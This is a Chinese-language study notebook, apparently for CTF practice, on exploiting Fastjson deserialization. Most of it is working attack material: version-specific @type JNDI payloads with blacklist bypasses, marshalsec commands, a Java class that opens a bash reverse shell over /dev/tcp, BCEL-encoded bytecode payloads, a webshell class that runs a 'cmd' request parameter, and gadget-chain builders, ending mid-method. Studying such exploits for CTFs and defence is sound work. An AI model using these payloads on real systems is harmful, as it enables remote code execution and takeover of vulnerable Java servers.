FastJSON

fastjson

前言:这一部分停的有点久了,内容多,一直看别人分析源码,然后存结果,有点像以前只看文章不刷题的时候,看起来会了,但还是不会做,为了避免这种情况,所以决定写这篇文章,让自己动手尝试,顺便保存结果

{"@type":"com.student","age":6}
JSON.parseObject()

像这样就会调用student类中的setage和getage方法

parse和parseObject的区别

parseObject:返回 fastjson.JSONObject 类

parse :返回我们的类 User

一般来说 parseObject 的利用面更广

FastJSON调用getter常用两种方式,1、$ref,2、JSONObject。

$ref:>=1.2.36

JSONObject:<=1.2.36

要想使用$ref赋值,则不能使用JSONObject调用getter,因为在parse时就会调用到getter方法,无法等到处理完$ref的任务后再调用getter

checkAutoType

如果开启了就是先白名单过滤,再黑名单。

如果没开启就是会先黑名单,再白名单。

JdbcRowSetImpl

com.sun.rowset.JdbcRowSetImpl中的dataSourceNameautoCommit都有set方法

setautoCommit()然后跟进发现

InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

能够JNDI

解题代码

#1.2.24
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/#exp1", "autoCommit":true}

#1.2.47
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://127.0.0.1:1099/#exp1",  #对应文件名不能变
        "autoCommit":true
    }
}

python -m http.server

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://vps_ip:8080/#exp1 1099

import java.io.IOException;

public class exp1{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash","-c","bash -i >& /dev/tcp/xx.xx.xx.xx/7777 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (IOException e) {
            throw new RuntimeException(e);
        } catch (InterruptedException e) {
            throw new RuntimeException(e);
        }
    }
}

TemplatesImpl

_outputProperties_bytecodes由private修饰,必须加入Feature.SupportNonPublicFieldparseObject中才能触发

JSON.parseObject(payload, Feature.SupportNonPublicField);

解题代码

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes":["yv66vgAAADQA...."], '_name':'c.c', '_tfactory':{ },"_outputProperties":{}, "_name":"a", "_version":"1.0", "allowedProtocols":"all"}
import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class exp extends AbstractTranslet{

    public exp() throws IOException {
        super();
        Runtime.getRuntime().exec("calc");
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}
package fj;

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;
import java.util.Base64.*;

public class baseencode {
    public static void main(String args[]) {
        byte[] buffer = null;
        String filepath = "C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class";
        try {
            FileInputStream fis = new FileInputStream(filepath);
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            byte[] b = new byte[1024];
            int n;
            while((n = fis.read(b))!=-1) {
                bos.write(b,0,n);
            }
            fis.close();
            bos.close();
            buffer = bos.toByteArray();
        }catch(Exception e) {
            e.printStackTrace();
        }
        Encoder encoder = Base64.getEncoder();
        String value = encoder.encodeToString(buffer);
        System.out.println(value);
    }

}

c3p0基于fastjson进行JNDI注入

{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://127.0.0.1:1389/calc", "loginTimeout":0}

不同版本的绕过

1.2.25-1.2.41

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  
//开启autoTypeSupport 
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:1389/g0tvin","autoCommit":true}

1.2.25-1.2.42 (双写绕过)

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  
//开启autoTypeSupport 
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1389/g0tvin","autoCommit":true}

1.2.25-1.2.43

修复了L; 以及双写,还对[做处理,利用这个处理进行绕过

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  
//开启autoTypeSupport


{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://vps:port/Exploit", "autoCommit":true}

1.2.25-1.2.45 (mybatis<3.5.0)

data_sourceinitial_context时写在initial_context

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://vps:port/TouchFile"}}


{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"2333","initial_context":"rmi://ip:port/TouchFile"}}

1.2.25-1.2.47 (最常用)

第一次缓存,第二次因为缓存绕过检测

{
	"a": {
		"@type": "java.lang.Class",
		"val": "com.sun.rowset.JdbcRowSetImpl"
	},
	"b": {
		"@type": "com.sun.rowset.JdbcRowSetImpl",
		"dataSourceName": "rmi://vps/TouchFile",
		"autoCommit": true
	}
}

fastjson不出网

Fastjson不出网利用总结 - 先知社区 (aliyun.com)

TemplatesImpl

修改恶意类代码,命令执行或内存马

BCEL

tomcat

把整体放在key,会调用key.toString()

{
    {
        "aaa": {
                "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmRKO$c2$40$Q$fe$W$90BmEQ$f0$fd$7e$81$H$b9x$c3x1$9a$Y$eb$pb0$k$cb$ba$c2bmM$v$ea$3f$f2$ecE$8d$sz$f7G$ZgWE$S$eda$a63$dfcf$db$7d$ffx$7e$F$b0$86$82$894FL$8cb$y$85q$95$t$ML$g$982$91$c4$b4$81$Z$D$b3$M$c9u$e9$cbh$83$n$5e$uV$Z$S$9b$c1$99$60$c88$d2$X$fb$ed$cb$9a$I$8f$dd$9aG$9d$ac$Tp$d7$ab$ba$a1T$f5w3$R5d$8b$3c$9c$adk$e9$95$ZR$eb$dc$fb$b6c$E$e7$9c$a6$7b$ed$96dP$da9$d8$ba$e5$e2$w$92$81O4$bb$S$b9$fcb$cf$bd$d26$b4$U$83Y$J$da$n$X$dbR$d9$a6$95$dd$aa$d2Z0$d1k$60$ce$c2$3c$Wh$k$ad$c0$z$yb$89a$f0$lo$861$dd$f5$5c$bf$5e$3aj$fb$91$bc$U$jPy$z$93$872g$e8$ff$r$k$d4$9a$82G$M$D$7f$b4$b4W$5dD$9d$oW$u$3a$7f8t$9e$84$b8$V$9ca$b9$d0$85V$a2P$fa$f5r$b7$e00$M$b8h$b5H0$d2$cd$3cn$84$c1$8d$fa$Q$e5b$V$b3H$d1_SO$ML$j$9e$a2EU$892$a3$dc$b3$f2$Iv$afa$9bbR7$N$f4Q$b4$be$I$c8$a0$9fr$K$D$j$f19$e2$g$h$7eB$y$h$7f$40$e2$e4$O$f6$ee$L$92$a7$e4f$bc$ddk0M$d4$k$o$w$db$3c$bd$B$ea$fe$d8$d4$ed$d51OC$7e$c6$d8$84d1H$d5$90$k$ls$M$e4$d2$E$e4$f5f$c3$9f$9e$b2$c5O$84$C$A$A"
        }
    }: "bbb"
}

mybatis

参考

1.2.47

这个要是失败,说明版本在1.2.25-1.2.32之间

{"x":{"xxx":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"www":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmRKO$c2$40$Q$fe$W$90BmEQ$f0$fd$7e$81$H$b9x$c3x1$9a$Y$eb$pb0$k$cb$ba$c2bmM$v$ea$3f$f2$ecE$8d$sz$f7G$ZgWE$S$eda$a63$dfcf$db$7d$ffx$7e$F$b0$86$82$894FL$8cb$y$85q$95$t$ML$g$982$91$c4$b4$81$Z$D$b3$M$c9u$e9$cbh$83$n$5e$uV$Z$S$9b$c1$99$60$c88$d2$X$fb$ed$cb$9a$I$8f$dd$9aG$9d$ac$Tp$d7$ab$ba$a1T$f5w3$R5d$8b$3c$9c$adk$e9$95$ZR$eb$dc$fb$b6c$E$e7$9c$a6$7b$ed$96dP$da9$d8$ba$e5$e2$w$92$81O4$bb$S$b9$fcb$cf$bd$d26$b4$U$83Y$J$da$n$X$dbR$d9$a6$95$dd$aa$d2Z0$d1k$60$ce$c2$3c$Wh$k$ad$c0$z$yb$89a$f0$lo$861$dd$f5$5c$bf$5e$3aj$fb$91$bc$U$jPy$z$93$872g$e8$ff$r$k$d4$9a$82G$M$D$7f$b4$b4W$5dD$9d$oW$u$3a$7f8t$9e$84$b8$V$9ca$b9$d0$85V$a2P$fa$f5r$b7$e00$M$b8h$b5H0$d2$cd$3cn$84$c1$8d$fa$Q$e5b$V$b3H$d1_SO$ML$j$9e$a2EU$892$a3$dc$b3$f2$Iv$afa$9bbR7$N$f4Q$b4$be$I$c8$a0$9fr$K$D$j$f19$e2$g$h$7eB$y$h$7f$40$e2$e4$O$f6$ee$L$92$a7$e4f$bc$ddk0M$d4$k$o$w$db$3c$bd$B$ea$fe$d8$d4$ed$d51OC$7e$c6$d8$84d1H$d5$90$k$ls$M$e4$d2$E$e4$f5f$c3$9f$9e$b2$c5O$84$C$A$A"}}:{}}}

JSONObject调用getter

关键是"$ref": ".."

在JSONObject触发getter之前就已经完成对Field赋值

{"friend":{ "@type": "com.alibaba.fastjson.JSONObject","name": {"@type": "java.lang.Class","val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"}},"x":{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","x": {"x":{{"@type": "com.alibaba.fastjson.JSONObject","c": {"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driverClassLoader": {"$ref": ".." },"driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$ddN$h1$Q$85$8f$93$F$c36$U$I$3f$fd$_$BZ$I$m$c8M$ef$82P$R$C$vR$g$aa$s$82k$c7$98$c4$c8$d8$d1$ae7$e2$b5$b8$81$aa$X$3c$A$PUu$i$w$b2R$bb$96$f6h$ce$7c$c7$b3$9a$7d$fc$fd$eb$B$c0$Xl$c6$98$c4r$8cWx$3d$857A$dfr$bc$e3x$cf0$b9$af$ad$f6$H$M$c5$ea$d6$ZCt$e4$$$U$c3lS$5b$d5$ca$ae$bb$w$e9$88$ae$n$a7$dctR$983$91$e8P$ff5$p$df$d7$v$dd$d1$3c$kjSg$88$8fo$a4$gx$edl$ca$f1$81$e3$p$c7$KG$85c$95zm$97$rR$9d$e8$Q$9c$O$81$bd$x1$U$rpLq$ac$95$b0$8eO$M$cbn$a0leWTh$98$cc$8c$f0$$$d9$T$83A$J$9f$b1A$f3B$8ca$$$EkF$d8$5e$ed$b4$7b$a5$a4gX$YY$da$d5$g$a7$cf$df$c0P$Z$83GF$a4i$cb$f9$T$97$d9$8b$i$b22FZ$ae$9d$c9$fe7$e5$fb$$O$ec$8c$89D$5d$g$gWk$d8$nm$p$b4$3b$o$e9$v$ff$ff$91$NcTO$98C$vU$9a$e6$90$f91$f2$p$b3$5e_$d3Bb$ba$e5$b9X$aan5$ffah$bd$91$baQ$92a$b3$9a$eb$b6$7d$a2m$af$9e$P$7cO$5c$98X$c7$w$s$e8$bf$87$87$d1$a1$3d$a3$80i$aa$be$922$d2$97$db$f7$60$3fQ$u$X$ef$Q$9d$df$92S$40$i$7c$U$e9$3d$8b$I$f3$98A$Z$_$a8$w$3d$rHgF$g$9c$Jb$e6$88$vc$81$ba$8b$a3$fc$d2$l$aa$ee$90$ebu$C$A$A"}}:"x"}},}},
"username":"a",
"password":"b"}

版本在1.2.25-1.2.32使用$ref调用getter

$ref要想在低版本(<=1.2.36)调用getter,要进行绕过(代码审计看不懂)

重点好像在connection

依次使用

#恶意类放入mapping

[{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},]
#调用getter

[{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader":{"$ref":"$[1]"}, "driver":"$$BCEL$$....."},{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","":""},{"@type":"com.alibaba.fastjson.JSONObject","connection":{}},{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driver":{"$ref":"$.connection"}}]

在N1CTF的具体操作

SpringBoot fastJsonHttpMessageConverters进行JSON.parse的时候会默认设置期望类为路由参数里对应的类,也就是期望类为com.n1ctf.oldfastjson.User

导致了Root context变为了com.n1ctf.oldfastjson.User对象,因为x并不是User的Field,会被设置为null,导致了之前构造payload里面的各种引用都需要更改

具体操作:

把上面的数组放入value的位置

{"a":	[{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},],
 "username":"asd",
 "password":"asd"}
{
"friend":[{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader":{"$ref":"$.friend[1]"}, "driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7dV$5bW$hU$U$fe$86$5c$ce0$9d$96$Q$a0eZ$LE$a9$N$F$82$d6kC$c5$om$z$g$$$S$E$91z$99L$O$c9$c0d$86$ce$85$e2$b5$5e$ea$fd$5e$9f$fd$F$3e$f9$92$b6$ba$ea$ea$83k$e9$f2$c1W$97$P$fa$e2$8b$fe$Ju$9f$5c$m$90$d4$5cN$ce$f9$f6$3e$7b$ef$f3$ed$7dv$e6$e7$7f$be$fd$k$c0$fd$f8RA$x$kWp$k$93bxB$c6$93$K$d2$98$921$cd0$a3$80a$96$e1$v$Fs$c8$I$cdy$ZO$LpA$c6$a2$8cg$Y$96d$9c$90$f1$ac$8ce$Z$X$Y$9eS$f0$3c$5e$Q$c3$8b$Ktd$Vt$c1$90$91$T$bf$5c$M$x2$f2$M$F$F$3d0$c5$b0$w$865$GKB$f4$94i$9b$fe$98$84Pb$60ABx$c2$c9q$Jmi$d3$e6$d3A1$cb$ddy$3dk$R$SO$3b$86n$z$e8$ae$v$d6U0$ec$XL$8fl$a4$cfn$98$d6$a8$84N$97_$M$b8$e7O8$b6$cf7$fd$f3$8e$95$e3$ae$84$f6$f4$aa$be$a1$8fX$ba$9d$l$99$b0t$cf$pU$a9$u$e1$60$j$ee$f2$V$8b$h$fe$c8$U$f7$LN$8e$UBNvU$b8$ddV$99$c9$ae$92$G$89X$d5$8d$E$d9$e5$de$bac$7b$UK$c8$u$e6v$eag$7c$d7$b4$f3$a4$l$s$R$85$d9$b1$dcL$Yu$C$7f$3d$m$5b$7b$d6$J$f1$X$5d$d3$X1wUtMgdv$h$s$f5$bd$Z_7$d6$a6$f4$f52$FD$n$r$8c$a1H$e9$a2$b4HP$cen$g$7c$dd7$v$s$G$9b$c1aXg$b8$c8$40$s$95$8c$T$b8$G$3fg$K$eaZ$FeI$e1C$c5$5d$e8g$f0T$f8$ITl$e0$92$84S$8e$9bOz$o$a0$fc$8a$ab$X$f9$r$c7$5dK$5e$e2$d9$a4Qa6Ye$m9$d7$84p$86M$V$_$e1e$caG$9e$fbU$8dq$9f$O$9c$N$7cND$b4$edJ$87$8aW$f0$aa$84$d8n$aa$e9$5c$w$5e$c3$eb$w$$$e3$N$8a$7f$db$9a$8a7$c5$8e$3de$a4$96$B$95V$b3$ba$I$b7$cc$60l7$d9$SZLJQ$8bW$a0a$d8$a0$ba$uk$E$bei$8dd$M$dd$b6E$e8o$a9x$hWT$bc$83w$Z$deS$f1$3e$3e$Q$E$7dH$5b$$$8c$ab$f8$I$l$ab$f8$E$9f$S$81$e4$ad$96$ac$8e$s$b9R$f1$Z$3eW$f1$F$faU$5cE$3fU$81$60$5cB$f7$edj$ae$ce$cc$e4$ccV$g$r$i$d9$c5$d6$b4$e3$9fs$C$3bW$a7$d2$bb$ad2$edd$C$a3P$b1X$a71$d8$e8u$d2$de$a0$x$r$c4$f3$baK$87i$eer$d2$b2x$5e$b7$c6$N$83$7b$5e$9dJ$j$bb$f3$F$97$eb$U$fe$5e$pp$5dn$fb$b5ugb$m$bd$5b$8b$w$b8$8b$7cU$eb$a5$7c$9e$b4$a3$97o$a9$b6C$bdN$q$f64$VP$S$y$9a$94$R$JG$T$8d$d7$ab$c1$o$d9j$t$ffg$b8a$e9$$$cf$d5$98$3f$ddd$efr$c3$de$81$ff$eb$XQ$93$f8$5c$a32$3c$99h$ec$Z$cb$8d$d0$40$b3$ce$o$Ln$w$c7$e9h$a4c$b4Ru$b5$a0$db$b7$c5s$81$ed$9bE$5e$bd$p$b5E$d7$O$TUX$f4$p$be$c9$a9$fc$T$89$s$N$a9$7e$c7$ac$eb$88$ac$8f$eepU$F$r$ec$pW$936$b5$$$da$c9uj$a7$Hj$eeD$Fo$Lh$7bw$a2$a9$404$7c5$f0$f8$Zn$99$c5$caM$3av$fb$q$d6$dfSq$I$9b$Khw$91muUVn$a6$96$zHhb$91$iGV$ac$40t$82$88a9$kG$l$ee$a4$7f$3a$f1$a2$ff$G$d1$R$d1$82$a3$b4$f8$jQ$u$84$fe$7d$fc$g$a4$ebh$v$n$U$P$97$QI$P$c6$a3$a1$9b$60$r$c8SC$S$cdZKP$a6$87K$d8$TW$x$f8$de$a9$a1$e1$w$9e$K$97$F$fb$g$F$R$z$y$qma$92$y$85$e2$b1LY$ac$85i$ddJ$ebvZ$x$b7$QKE$b5$e8$8f$60$f1x$w$g$bd$89$YI$3a2K$e1xgf$v$a2E3$v$f6$j$ba$96$aec$bfF$d6$P$94$d0$7d$NZ$fc$60$J$87J$b8$p$rk$R$e1$e1$f0$96o$zRu$7e$L$3d$a9V$adU$93K$e8$d5$I8$o$86$beo$e8$b0$n$dcM$e3$i$3ai$dc$870b$f4$8e$e3$Q$3a$88$92$$$dc$87$fd$YC7$3d0hX$qt$N$87$a9A$f7$e0$Kz$a9$5d$f6$e1$x$a2$f2$G$R$f8$Ti$ffJ$96$fe$c01$fc$89$E$fe$c2q$9a$B$x$VB$J$Z$a0$df$Y$7e$p$7c$90H$3f$84_0$84$e12$f1$3f$m$89$R$8ac$M_$e3$k$9a$85$c9$d3U$dcK$b3$I$f9Z$c5$J$8a$oJ$9e$d2$f44$f3$A$3d$9a$dc$m$ad$H$J$93$c9c$i$P$e1aJ$e6I$b2$de$D$e9_$K$8a1$a4$YF$ZN1$3cR$fb$8c$91$fcQ$fa$aad$f34$c6$f1$Y$sp$86$e28KX$L$ce$fd$H$b6$d8$a1$99$$$J$A$A"},{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","":""},{"@type":"com.alibaba.fastjson.JSONObject","connection":{}},{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driver":{"$ref":"$.friend.connection"}}],"username":"asd","password":"asd"}

相比之前的数组,在原来的基础上添加了.friend

"driverClassLoader":{"$ref":"$.friend[1]"},

"driver":{"$ref":"$.friend.connection"}

具体的恶意类

import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;

public class Evil {

    public Evil() throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {

        Class requestContextHolder = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");

        Method m = requestContextHolder.getDeclaredMethod("getRequestAttributes");
        Object obj = m.invoke(null);

        m = obj.getClass().getMethod("getRequest");
        Object request = m.invoke(obj);

        m = obj.getClass().getMethod("getResponse");
        Object response = m.invoke(obj);

        m = request.getClass().getMethod("getParameter", String.class);

        String cmd = (String) m.invoke(request, "cmd");
        if(cmd == null){
            cmd = "id";
        }
        String[] cmds = {"sh", "-c", cmd};
        String output = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
        
//        读取f111111ag.txt的内容
//        InputStream inputStream = Thread.currentThread().getContextClassLoader().getResourceAsStream("f111111ag.txt");;
//        output = new Scanner(inputStream).useDelimiter("\\A").next();

        m = response.getClass().getMethod("getWriter");
        PrintWriter printWriter = (PrintWriter) m.invoke(response);
        printWriter.println(output);
        printWriter.flush();
        printWriter.close();

    }

}

commons-io 写文件/wbshell

C3P0二次反序列化 之hex序列化字节

记得有;! ! ! ! ! ! ! ! !

{
    "rand1": {
        "@type": "java.lang.Class",
        "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
    },
    "rand2": {
        "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
        "userOverridesAsString": "HexAsciiSerializedMap:hexstring;",
    }
}

java -jar ysoserial-all.jar CommonsCollections2 "calc" > calc.ser

import com.alibaba.fastjson.JSON;
import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;

import java.io.*;
import java.util.Arrays;

public class C3P0Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        InputStream in = new FileInputStream("/Users/xxx/Desktop/calc.ser");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString);
        String poc ="{\"e\":{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"},\"f\":{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:"+HexString+";\"}}";
        System.out.println(poc);

    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}

fastjson#toString(JSONObject和JSONArray都行)

借助XString和HotSwappableTargetSource触发toString

#XString触发Fastjson#toString


import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;
 
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
 
public class fj_gadget {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();
 
        byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class"));
 
        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
 
        JSONObject jo = new JSONObject();
        jo.put("1",templatesimpl);
 
        HotSwappableTargetSource h1 = new HotSwappableTargetSource(jo);
//        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new Object());
 
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(h1,h1);
        hashMap.put(h2,h2);
 
        Class clazz=h2.getClass();
        Field transformerdeclaredField = clazz.getDeclaredField("target");
        transformerdeclaredField.setAccessible(true);
        transformerdeclaredField.set(h2,new XString("xxx"));
 
        System.out.println(serial(hashMap));
        String payload = "...";
        //        deserial(payload);
 
    }
 
    public static String serial(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();
 
        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;
 
    }
 
    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        CustomObjectInputStream ois = new CustomObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
 
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

在没有过滤的情况下,可以用BadAttributeValueExpException触发toString

#BadAttriubutexxxx的toString触发fastjson#toString


import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class exp {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();

        byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\22927\\Downloads\\fastjson_tostring\\target\\classes\\com\\example\\fastjson_tostring\\evilclass.class"));

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        JSONObject jo = new JSONObject();
        jo.put("1",templatesimpl);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,jo);
        System.out.println(serial(exp));

    }

    public static String serial(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        CustomObjectInputStream ois = new CustomObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

FastJson结合二次反序列化绕过黑名单 - 先知社区 (aliyun.com)

通过ezbean看fastjson链

private static final String[] blacklist = new String[]{
"java\\.security.*", "java\\.rmi.*",  "com\\.fasterxml.*", "com\\.ctf\\.*","org\\.springframework.*", "org\\.yaml.*","javax\\.management\\.remote.*"
};

非预期(原生反序列化2) 全版本引用类型绕过

fastjson 1.2.49开始,JSONArrayJSONObject开始重写了resolveClass,过滤了诸如TemplatesImpl的危险类。而ezbean那道题使用了一个自定义的不安全的ObjectInputStream进行反序列化

所以能通过引用的数据类型(放入list),从而不执行resolveClass

List、set、map类型中添加同样对象时即可成功利用,以list为例

ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(templates);
writeObjects(arrayList);
package fj;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;

public class bad_gadget {
    public static void main(String[] args) throws Exception {
        ArrayList<Object> list = new ArrayList<>();
        TemplatesImpl templatesimpl = new TemplatesImpl();

        byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class"));

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
        
        //为了使得templates变成引用类型从而绕过JsonArray的resolveClass黑名单检测
        list.add(templatesimpl);

        JSONArray jo = new JSONArray();
        //此时在hash表中查到了映射,因此接下来以引用形式输出
        jo.add(templatesimpl);

        BadAttributeValueExpException exp = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,jo);
        list.add(exp);
        System.out.println(serial(list));
    }

    public static String serial(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

